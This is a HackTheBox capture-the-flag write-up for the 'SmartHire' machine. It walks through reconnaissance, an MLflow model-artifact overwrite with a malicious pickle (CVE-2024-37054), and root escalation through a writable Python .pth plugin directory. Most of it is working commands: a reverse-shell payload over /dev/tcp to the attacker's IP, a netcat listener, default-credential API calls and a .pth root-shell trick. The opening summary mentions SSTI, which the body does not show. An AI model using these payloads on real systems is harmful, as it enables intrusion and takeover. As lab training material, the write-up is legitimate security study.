# SmartHire Writeup - HackTheBox

> SSTI via resume upload, exploiting a Flask/Jinja2 template injection in a smart hiring app to achieve RCE and capture the flag.

- **URL:** https://hackindex.io/writeups/smarthire
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Linux
- **Machine:** https://hacktheboxltd.sjv.io/smarthire
- **Tags:** ssti, file-upload, deserialization, rce, flask, privilege-escalation, sudo-misconfiguration, cve-2024-37054
- **Authors:** [Benslates](https://hackindex.io/authors/benslates.md)
- **Read time:** 1 min read
- **Published:** 2026-05-16
- **Updated:** 2026-10-11

## **1. Reconnaissance**

### **Fast TCP Port Scan**

Start with a fast scan to identify open ports quickly.

```bash
nmap -T5 --open <Target_Ip>
# Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-17 00:13 +0500
# Nmap scan report for smarthire.htb (10.129.26.203)
# Host is up (0.21s latency).
# Not shown: 991 closed tcp ports (reset), 7 filtered tcp ports (no-response)
# Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
# PORT   STATE SERVICE
# 22/tcp open  ssh
# 80/tcp open  http
#
# Nmap done: 1 IP address (1 host up) scanned in 4.05 seconds
```

### **Service & Version Detection**

Run a detailed scan with service detection and default scripts against the open ports.

```bash
nmap -sV -sC -p22,80 <Target_Ip>
# Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-17 00:15 +0500
# Nmap scan report for smarthire.htb (<Target_Ip>)
# Host is up (0.25s latency).
#
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
# | ssh-hostkey: 
# |   256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA)
# |_  256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519)
# 80/tcp open  http    nginx 1.18.0 (Ubuntu)
# |_http-title: Overview | SmartHIRE
# |_http-server-header: nginx/1.18.0 (Ubuntu)
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### **Add Hostname to **`/etc/hosts`

```bash
echo "<Target_Ip> smarthire.htb" | sudo tee -a /etc/hosts
# <Target_Ip> smarthire.htb
#
```

## **2. Enumeration**

### **Subdomain Fuzzing**

Fuzz for hidden subdomains using `ffuf`.

```bash
ffuf -u http://FUZZ.smarthire.htb/ -H "Host: FUZZ.smarthire.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0
#         /'___\  /'___\           /'___\       
#        /\ \__/ /\ \__/  __  __  /\ \__/       
#        \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
#         \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
#          \ \_\   \ \_\  \ \____/  \ \_\       
#           \/_/    \/_/   \/___/    \/_/       
#
#        v2.1.0-dev
# ________________________________________________
#
#  :: Method           : GET
#  :: URL              : http://FUZZ.smarthire.htb/
#  :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
#  :: Header           : Host: FUZZ.smarthire.htb
#  :: Follow redirects : false
#  :: Calibration      : false
#  :: Timeout          : 10
#  :: Threads          : 40
#  :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
#  :: Filter           : Response size: 0
# ________________________________________________
#
# models                  [Status: 401, Size: 137, Words: 11, Lines: 1, Duration: 213ms]
# :: Progress: [4989/4989] :: Job [1/1] :: 45 req/sec :: Duration: [0:00:17] :: Errors: 4988 ::
```

> A subdomain `models` is discovered. Add it to `/etc/hosts`.

```bash
echo "<Target_Ip> models.smarthire.htb" | sudo tee -a /etc/hosts
# <Target_Ip> models.smarthire.htb
#
```

## **3. Initial Access ,  CVE-2024-37054 (MLflow RCE)**

Navigate to `http://smarthire.htb/`, click signup, and create an account.

### **Step 1: Login to SmartHire**

```bash
curl -s -c cookies.txt -b cookies.txt -X POST http://smarthire.htb/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=ben&password=12345678" > /dev/null
```

### **Step 2: Generate malicious pickle**

```bash
python3 -c "
import pickle, os
class S:
    def __reduce__(self):
        return (os.system, ('bash -c \"bash -i >& /dev/tcp/<tun0_ip>/4444 0>&1\"\',))
open('evil.pkl','wb').write(pickle.dumps(S()))
print('done')
"
```

### **Step 3: Create **`train.csv`

Before uploading, create the `train.csv` file with the following content:

**Command:**

```bash
cat <<EOF > train.csv
name,skills,experience,education,position_applied,previous_company
Alice,Python,48,Masters,Eng,Corp
Bob,Java,72,Bachelors,Dev,Inc
EOF
```

### **Step 4: Upload training CSV to register new model version**

```bash
curl -s -b cookies.txt -X POST http://smarthire.htb/upload_hiring_data \
  -F "file=@train.csv"
# {"message":"Model trained and registered successfully","model_deleted":false,"model_info":{"creation_timestamp":1778966750869,"description":"No description","version":"4"},"registered_model":"benslates-984cec44e985-model","status":"success"}
```

### **Step 5: Fetch run_id from MLflow API**

```bash
curl -s -u admin:password -X POST http://models.smarthire.htb/api/2.0/mlflow/runs/search \
  -H "Content-Type: application/json" \
  -d '{"experiment_ids": ["0"], "max_results": 1}' | jq -r '.runs[0].info.run_id'
# 1b657efe71844222b87865544906197c
#
```

### **Step 6: Overwrite python_model.pkl with malicious pickle**

Replace `<run_id>` with the ID obtained in the previous step.

```bash
curl -s -u admin:password -X PUT http://models.smarthire.htb/api/2.0/mlflow-artifacts/artifacts/0/<run_id>/artifacts/model/python_model.pkl \
  --data-binary @evil.pkl \
  -H "Content-Type: application/octet-stream"
```

### **Step 7: Trigger prediction and catch shell**

**Terminal 1 ,  Netcat listener:**

```bash
nc -lvnp 4444
```

**Terminal 2 ,  Trigger prediction:**

```bash
curl -s -b cookies.txt -X POST http://smarthire.htb/predict \
  -F "file=@pred.csv"
```

**Netcat Listener Output:**

```
listening on [any] 4444 ...
connect to [<tun0_ip>] from (UNKNOWN) [<Target_Ip>] 50450
bash: cannot set terminal process group (1022): Inappropriate ioctl for device
bash: no job control in this shell
svcweb@smarthire:/var/www/smarthire.htb$ 
```

## **5. Privilege Escalation ,  Python .pth Abuse**

### **Check Sudo Permissions**

```bash
sudo -l
# User svcweb may run the following commands on smarthire:
#     (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
```

### **Inspect the Script Source Code**

```bash
cat /opt/tools/mlflow_ctl/mlflowctl.py
```

```python
#!/usr/bin/env python3

from pathlib import Path
import sys
import site

BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"

# make plugins importable
for path in PLUGINS_DIR.iterdir():
    if path.is_dir():
        site.addsitedir(str(path))

def print_usage():
    print("Usage: mlflowctl.py [status|backup-models|restart]")
    sys.exit(1)

def main():
    import mlflow_actions, backup_models

    if len(sys.argv) < 2:
        print_usage()

    action = sys.argv[1]

    if action == "status":
        mlflow_actions.check_status()
    elif action == "backup-models":
        print("[*] Running backup via backup_models plugin...")
        backup_models.run()
    elif action == "restart":
        mlflow_actions.restart()
    else:
        print(f"[!] Unknown action: {action}")
        print_usage()

if __name__ == "__main__":
    main()
```

### **Inspect Writable Plugins Directory**

The script imports plugins from `/opt/tools/mlflow_ctl/plugins/`.

```bash
ls -la /opt/tools/mlflow_ctl/plugins/
# drwxr-xr-x 4 root root 4096 Feb 19 18:10 .
# drwxr-xr-x 3 root root 4096 Feb 19 18:16 ..
# drwxr-xr-x 3 root root 4096 Feb 20 09:26 core
# drwxrwxr-x 2 root devs 4096 May 12 15:22 dev
```

> The `dev` directory is writable by the `devs` group, which `svcweb` belongs to.

### **Trigger Root Shell**

```bash
echo 'import os; os.system("/bin/bash -p")' > /opt/tools/mlflow_ctl/plugins/dev/evil.pth
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
# root@smarthire:/# id
# uid=0(root) gid=0(root) groups=0(root)
```

Related
